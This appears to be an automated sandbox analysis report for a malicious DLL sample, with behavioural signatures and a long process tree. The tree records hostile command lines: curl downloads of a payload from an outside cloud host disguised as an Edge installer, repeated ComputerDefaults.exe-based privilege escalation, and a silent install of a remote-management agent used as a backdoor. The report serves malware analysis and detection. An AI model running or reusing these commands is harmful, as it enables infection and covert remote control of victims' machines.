Overview

overview

8

Static

static

3

ARPHADUMP.dll

windows10-2004-x64

8

ARPHADUMP.dll

windows11-ltsc_2024-x64

8

KBDMLT48.dll

windows10-2004-x64

3

UTR_8718-9-2026.exe

windows10-2004-x64

8

UTR_8718-9-2026.exe

windows11-ltsc_2024-x64

7

UTR_8718-9...cx.lnk

windows10-2004-x64

3

UTR_8718-9...cx.lnk

windows11-ltsc_2024-x64

3

bcrypt.dll

windows10-2004-x64

3

dpmodemx.dll

windows10-2004-x64

3

Analysis

  • max time kernel
    300s
  • max time network
    303s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/09/2026, 14:55

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ARPHADUMP.dll
  • Size 8.7MB
  • Sample260922-saqldagg73
  • SHA256 20e11d7e0ca3f756c57558dc95c089a7364f7f86e21201c0a1cf7464e8ff9d56
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordiscoveryexecutionrat

Malware Config

Signatures

  • Downloads MZ/PE file 3 IoCs
  • DCAgent remote management tool 2 IoCs

    DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

    backdoorrat
  • Executes dropped EXE 21 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 5 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 15 IoCs
    execution
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies registry class 29 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs
  • cURL User-Agent 3 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\ARPHADUMP.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5368
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\ARPHADUMP.dll,#1
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4880
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4468
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:6092
          • C:\ProgramData\ksPieKrlVHSXqrRXlhEyJZNCROtUmViq.uSH\AUXWmvjVZlaoNbvwHzVnxIuvjhzfZsWq.yAf.exe
            "AUXWmvjVZlaoNbvwHzVnxIuvjhzfZsWq.yAf.exe"
            5⤵
            • Executes dropped EXE
            PID:3380
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1920
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4932
          • C:\ProgramData\uhlGwoZDjcViREzgLwahCWojrmMgaYRC.LQY\kciTAwokiGshHLKHpgswvSijZRiEAmpv.Bko.exe
            "kciTAwokiGshHLKHpgswvSijZRiEAmpv.Bko.exe"
            5⤵
            • Executes dropped EXE
            PID:4716
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3956
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2244
          • C:\ProgramData\wmJDDMMQezxtuRPvotqfnulLhdWcrdUt.Wis\tamSXjNgdHoyxvThPhZaNdCAYdIvwvWI.mwK.exe
            "tamSXjNgdHoyxvThPhZaNdCAYdIvwvWI.mwK.exe"
            5⤵
            • Executes dropped EXE
            PID:3076
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5504
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:6040
          • C:\ProgramData\NdHnmpMPWVHZZQvRJICSmzsVayLDMhHF.oer\iEZOsOcIwDqPTzpKFUzEqDlIxbExRfwZ.GMR.exe
            "iEZOsOcIwDqPTzpKFUzEqDlIxbExRfwZ.GMR.exe"
            5⤵
            • Executes dropped EXE
            PID:5440
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:248
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2424
          • C:\ProgramData\DbGwVTueLDetILlWFQXYYfCijouRZSDz.Umb\wBDZKGXPAinrpnOxaERxYDJRSvWnPaer.PPK.exe
            "wBDZKGXPAinrpnOxaERxYDJRSvWnPaer.PPK.exe"
            5⤵
            • Executes dropped EXE
            PID:4148
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3312
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3812
          • C:\ProgramData\ojTmSVhNxgvQddmrrxhEmphnKmzTWvSf.Xvj\ZeMAsZOyyzRYTcfjxcQwJiYledMiHQzo.XrW.exe
            "ZeMAsZOyyzRYTcfjxcQwJiYledMiHQzo.XrW.exe"
            5⤵
            • Executes dropped EXE
            PID:1640
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5784
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3144
          • C:\ProgramData\ROGLXuNFPBhhxdWhgfanBgZSAfZZYYGS.GnH\ieKqbQaeNsUStKKZIZWWyWgroUgYTpib.EYO.exe
            "ieKqbQaeNsUStKKZIZWWyWgroUgYTpib.EYO.exe"
            5⤵
            • Executes dropped EXE
            PID:4628
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3740
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1764
          • C:\ProgramData\OACQIgyhZecrAvTpJuwiCwkpiVvqIRvu.OGp\AWSXDMtrbmoFJJzMBwpZDePvuhEVaGlA.fal.exe
            "AWSXDMtrbmoFJJzMBwpZDePvuhEVaGlA.fal.exe"
            5⤵
            • Executes dropped EXE
            PID:5716
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:984
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4324
          • C:\ProgramData\OdNKWkPGgsPCjhaOdPTAeSfwBzoVHRXi.oGL\xANFKTnkBVAAMxTGfpYvqnRgDoiiPrpi.VnP.exe
            "xANFKTnkBVAAMxTGfpYvqnRgDoiiPrpi.VnP.exe"
            5⤵
            • Executes dropped EXE
            PID:5952
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2620
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:484
          • C:\ProgramData\RXutkvjjBAyBIDUwFnKkUvIFLNUpMNOx.GXn\cZzgaLuiQdXTYeBAqoFbfjDqEiKIPpoZ.WkT.exe
            "cZzgaLuiQdXTYeBAqoFbfjDqEiKIPpoZ.WkT.exe"
            5⤵
            • Executes dropped EXE
            PID:4332
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4500
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1220
          • C:\ProgramData\VahWmqViCLjhApdGskLLJAtsJixqgAzr.EDh\mwUwxhAeDwETjtaNDcPbFVOZPBWSBKQT.swC.exe
            "mwUwxhAeDwETjtaNDcPbFVOZPBWSBKQT.swC.exe"
            5⤵
            • Executes dropped EXE
            PID:4552
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3336
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5540
          • C:\ProgramData\llIOPCdfTyrbFnRfLHUxkcEKcrTOYbox.miL\XeoLXFOsUmYssflsnsYCpGBuubieQoFn.InB.exe
            "XeoLXFOsUmYssflsnsYCpGBuubieQoFn.InB.exe"
            5⤵
            • Executes dropped EXE
            PID:3052
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
        3⤵
        • Downloads MZ/PE file
        PID:3608
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1264
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5848
          • C:\ProgramData\xfBSiOZRyybrkVxbozDfdOkHQOEotNjW.gYb\PLozSFxCCESqrbYmnNApXohswBpxjdmi.oSH.exe
            "PLozSFxCCESqrbYmnNApXohswBpxjdmi.oSH.exe"
            5⤵
            • Executes dropped EXE
            PID:1560
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4732
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2560
          • C:\ProgramData\OEYOzeJEOgdolDyZRPIDNtErSnqJnNKs.GWJ\NOPRuWZRtNCmEGknaLxNZuqJlGcwhFpq.yJH.exe
            "NOPRuWZRtNCmEGknaLxNZuqJlGcwhFpq.yJH.exe"
            5⤵
            • Executes dropped EXE
            PID:3960
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
        3⤵
        • Downloads MZ/PE file
        PID:1284
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4448
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1800
          • C:\ProgramData\FEQySqlXLojvPRHPKVNwTIiTQCPLkRKU.ozY\JGmByDtjeUZYZikcFvfkbGEbHMRlCNHm.vUU.exe
            "JGmByDtjeUZYZikcFvfkbGEbHMRlCNHm.vUU.exe"
            5⤵
            • Executes dropped EXE
            PID:4984
      • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
        3⤵
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:3076
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"
          4⤵
          • Executes a VBScript file via the Windows Script Host.
          • Suspicious use of WriteProcessMemory
          PID:3036
          • C:\Windows\System32\msiexec.exe
            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:6088
      • C:\Windows\SysWOW64\cmd.exe
        /c "C:\Windows\System32\ComputerDefaults.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2840
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          C:\Windows\System32\ComputerDefaults.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4348
          • C:\ProgramData\OmWApkxpDKKCDuoOPJDVzUHjwBEzuHyw.bTC\CFfLJzqHLLeGDTBRGdIIDNoemzUElFGj.jcp.exe
            "CFfLJzqHLLeGDTBRGdIIDNoemzUElFGj.jcp.exe"
            5⤵
            • Executes dropped EXE
            PID:1848
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
        3⤵
        • Downloads MZ/PE file
        PID:2608
      • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
        3⤵
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2452
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX1\SetUP.VBS"
          4⤵
          • Executes a VBScript file via the Windows Script Host.
          • Suspicious use of WriteProcessMemory
          PID:5180
          • C:\Windows\System32\msiexec.exe
            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX1\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX1\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX1\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX1\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Agentinstalllog.txt"
            5⤵
            • Suspicious use of SetWindowsHookEx
            PID:5432
      • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
        3⤵
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:5136
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX2\SetUP.VBS"
          4⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:4920
          • C:\Windows\System32\msiexec.exe
            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX2\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX2\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX2\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX2\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Agentinstalllog.txt"
            5⤵
              PID:2632
        • C:\Windows\SysWOW64\cmd.exe
          /c "C:\Windows\System32\ComputerDefaults.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:5984
          • C:\Windows\SysWOW64\ComputerDefaults.exe
            C:\Windows\System32\ComputerDefaults.exe
            4⤵
              PID:3016
              • C:\ProgramData\TRUEcfFcpGwKaauzdAUKMhkUdbXylfbd.DrX\hPZlubzSViDfCVyurXoILlUtqKwTrbgE.Cva.exe
                "hPZlubzSViDfCVyurXoILlUtqKwTrbgE.Cva.exe"
                5⤵
                  PID:1672
            • C:\Windows\SysWOW64\cmd.exe
              /c "C:\Windows\System32\ComputerDefaults.exe"
              3⤵
                PID:5124
                • C:\Windows\SysWOW64\ComputerDefaults.exe
                  C:\Windows\System32\ComputerDefaults.exe
                  4⤵
                    PID:2280
                    • C:\ProgramData\uILNoGwRSFadcovTMDIlFDpjBnbKZhsL.RKt\PrYJUKEazmZgGVXUzMCNyvFPhbywQNAq.jHa.exe
                      "PrYJUKEazmZgGVXUzMCNyvFPhbywQNAq.jHa.exe"
                      5⤵
                        PID:5188
                  • C:\Windows\system32\curl.exe
                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                    3⤵
                      PID:3400
                    • C:\Windows\SysWOW64\cmd.exe
                      /c "C:\Windows\System32\ComputerDefaults.exe"
                      3⤵
                        PID:1284
                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                          C:\Windows\System32\ComputerDefaults.exe
                          4⤵
                            PID:4304
                            • C:\ProgramData\zTAdGvTALcSIFAKRGWBfsoYMQJPOTrPO.cQw\sVjPYgQQchBvwDwPbDXLYbNkEhmlTFiq.nFc.exe
                              "sVjPYgQQchBvwDwPbDXLYbNkEhmlTFiq.nFc.exe"
                              5⤵
                                PID:4864
                          • C:\Windows\SysWOW64\cmd.exe
                            /c "C:\Windows\System32\ComputerDefaults.exe"
                            3⤵
                              PID:2780
                              • C:\Windows\SysWOW64\ComputerDefaults.exe
                                C:\Windows\System32\ComputerDefaults.exe
                                4⤵
                                  PID:4660
                                  • C:\ProgramData\JennRMTXTolGBlZBLazhnmeWijJEZCpS.uch\lsjwlSQDesvwDlVUKpgrIrQyIKeIXlhR.szJ.exe
                                    "lsjwlSQDesvwDlVUKpgrIrQyIKeIXlhR.szJ.exe"
                                    5⤵
                                      PID:5168
                                • C:\Windows\system32\curl.exe
                                  "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                  3⤵
                                    PID:5580
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /c "C:\Windows\System32\ComputerDefaults.exe"
                                    3⤵
                                      PID:4756
                                      • C:\Windows\SysWOW64\ComputerDefaults.exe
                                        C:\Windows\System32\ComputerDefaults.exe
                                        4⤵
                                          PID:4904
                                          • C:\ProgramData\dKxPYxQYsuHrLqkBicpycHgtXaDWJrxV.tvh\OeyZkgaEzKAEqEaWbchRdDmWLEsWRGjs.Bhr.exe
                                            "OeyZkgaEzKAEqEaWbchRdDmWLEsWRGjs.Bhr.exe"
                                            5⤵
                                              PID:2628
                                        • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                          "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                          3⤵
                                            PID:3260
                                            • C:\Windows\System32\WScript.exe
                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX3\SetUP.VBS"
                                              4⤵
                                              • Executes a VBScript file via the Windows Script Host.
                                              PID:3804
                                              • C:\Windows\System32\msiexec.exe
                                                "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX3\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX3\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX3\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX3\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX3\Agentinstalllog.txt"
                                                5⤵
                                                  PID:1560
                                            • C:\Windows\system32\curl.exe
                                              "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                              3⤵
                                                PID:3968
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                3⤵
                                                  PID:5388
                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                    C:\Windows\System32\ComputerDefaults.exe
                                                    4⤵
                                                      PID:3380
                                                      • C:\ProgramData\VxBvoLqyIGeLtTaZvpCpwHhLKJVXwGVd.nXQ\xxHOAOmYppjveZfvUijUOMHulozalLGY.xBc.exe
                                                        "xxHOAOmYppjveZfvUijUOMHulozalLGY.xBc.exe"
                                                        5⤵
                                                          PID:5728
                                                    • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                      3⤵
                                                        PID:2896
                                                        • C:\Windows\System32\WScript.exe
                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX4\SetUP.VBS"
                                                          4⤵
                                                          • Executes a VBScript file via the Windows Script Host.
                                                          PID:1688
                                                          • C:\Windows\System32\msiexec.exe
                                                            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX4\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX4\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX4\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX4\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX4\Agentinstalllog.txt"
                                                            5⤵
                                                              PID:2140
                                                        • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                          3⤵
                                                            PID:5920
                                                            • C:\Windows\System32\WScript.exe
                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX5\SetUP.VBS"
                                                              4⤵
                                                              • Executes a VBScript file via the Windows Script Host.
                                                              PID:5832
                                                              • C:\Windows\System32\msiexec.exe
                                                                "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX5\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX5\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX5\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX5\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX5\Agentinstalllog.txt"
                                                                5⤵
                                                                  PID:4120
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              /c "C:\Windows\System32\ComputerDefaults.exe"
                                                              3⤵
                                                                PID:2996
                                                                • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                  C:\Windows\System32\ComputerDefaults.exe
                                                                  4⤵
                                                                    PID:2600
                                                                    • C:\ProgramData\kVospBwUdndshgUZCsLjWgqNRHqsqkoU.YwX\TRpLfzlkBavqoqYRIuhvMKcqfSYOihcQ.jXD.exe
                                                                      "TRpLfzlkBavqoqYRIuhvMKcqfSYOihcQ.jXD.exe"
                                                                      5⤵
                                                                        PID:6004
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                    3⤵
                                                                      PID:5160
                                                                      • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                        C:\Windows\System32\ComputerDefaults.exe
                                                                        4⤵
                                                                          PID:5144
                                                                          • C:\ProgramData\cvUpUivNgEpZhsyeXBKmXoPnRBNweeDt.ngK\giQuUojbbfdWPrVcmiloDrvwmvAgPkMi.IfW.exe
                                                                            "giQuUojbbfdWPrVcmiloDrvwmvAgPkMi.IfW.exe"
                                                                            5⤵
                                                                              PID:2980
                                                                        • C:\Windows\system32\curl.exe
                                                                          "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                          3⤵
                                                                            PID:5240
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                            3⤵
                                                                              PID:252
                                                                              • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                C:\Windows\System32\ComputerDefaults.exe
                                                                                4⤵
                                                                                  PID:6140
                                                                                  • C:\ProgramData\JpdQpMXciBorvNDBKCpajNyzNjCpGnsW.LnR\xIflMhOmmYEsgUnMrIHHXnItoFBbMlGF.dMl.exe
                                                                                    "xIflMhOmmYEsgUnMrIHHXnItoFBbMlGF.dMl.exe"
                                                                                    5⤵
                                                                                      PID:3636
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                  3⤵
                                                                                    PID:5860
                                                                                    • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                      C:\Windows\System32\ComputerDefaults.exe
                                                                                      4⤵
                                                                                        PID:1032
                                                                                        • C:\ProgramData\zzaxEAuZzuDFBTYaPADSxCcFrAcOmFxz.ZQF\TnmgcxrLDAmbhMWpzUzSyyIMSYgPxRpo.KFu.exe
                                                                                          "TnmgcxrLDAmbhMWpzUzSyyIMSYgPxRpo.KFu.exe"
                                                                                          5⤵
                                                                                            PID:2288
                                                                                      • C:\Windows\system32\curl.exe
